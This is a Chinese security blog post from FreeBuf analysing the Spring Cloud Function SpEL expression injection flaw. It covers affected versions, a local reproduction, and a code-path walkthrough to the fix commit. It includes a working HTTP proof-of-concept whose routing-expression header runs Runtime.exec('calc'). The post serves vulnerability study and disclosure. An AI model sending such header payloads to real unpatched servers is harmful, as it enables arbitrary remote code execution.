freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring Cloud Function SPEL表达式注入漏洞分析
2022-03-31 17:58:32
所属地 北京

一:漏洞简介

Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的spring.cloud.function.routing-expression参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。

二:影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

三:漏洞复现

这里使用https://github.com/spring-cloud/spring-cloud-function中的项目进行复现

将该项目clone下来后在idea中导入这个项目:spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo

导入后等待idea下载完成依赖之后直接启动项目,启动完成后访问:127.0.0.1:8080出现以下页面代表启动成功:

image

然后我们直接上burp

POC

POST /functionRouter HTTP/1.1
Host: 192.168.248.6:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
Content-Length: 7

hhhhhhh

使用burp直接发送poc

image

可以看到靶机成功弹出计算器

image

四:漏洞分析

在Spring cloud官网GitHub上给出了修复commit

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

image

并且官方还给出了poc

image

简单来说就是在请求头中添加一个spring.cloud.function.routing-expression参数,Spring Cloud Function会直接将参数值带入SPEL中查询导致SPEL注入。

那么,这个spring.cloud.function.routing-expression参数有啥用呢?这里借鉴神风大佬的一段话:

漏洞是出在SpringCloud Function的RoutingFunction功能上,其功能的目的本身就是为了微服务应运而生的,可以直接通过HTTP请求与单个的函数进行交互,同时为spring.cloud.function.definition参数提供您要调用的函数的名称。
例如:
"
POST /functionRouter HTTP/1.1
Host: localhost:8080
spring.cloud.function.definition: reverseString
Content-Type: text/plain
Content-Length: 3

abc
"
其结果就会在页面上输出cba,因此我们只需要在header头上指定要调用的函数名称就可以对其进行调用。

我们这里根据poc来跟一下它的利用过程:

发送poc后程序会对读取我们输入的内容,首先来到org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest方法,程序会判断当前请求是否为RoutingFunction,并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中:

image

我们跟入apply方法发现该方法又将参数信息传入doApply方法:

image

继续跟入doApply方法:

image

这里进行了一个简单的判断,然后执行到else,我们跟进RoutingFunction的apply方法

image

apply方法最后会将数据return给org.springframework.cloud.function.context.config.RoutingFunction的route方法,route方法会判断请求头中有没有spring.cloud.function.routing-expression参数

image

因为我们有该参数,所以程序进入到this.functionFromExpression()方法:

image

最终由SpelExpressionParser来解析,导致Spel表达式注入。

个人github:https://artio-li.github.io/posts/2022/03/31/Spring-Cloud-Function-SPEL表达式注入漏洞.html

五:参考链接

https://www.cnblogs.com/wh4am1/p/16062306.html
https://github.com/hktalent/spring-spel-0day-poc

# 网络安全 # web安全 # 漏洞分析 # java # Spring
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录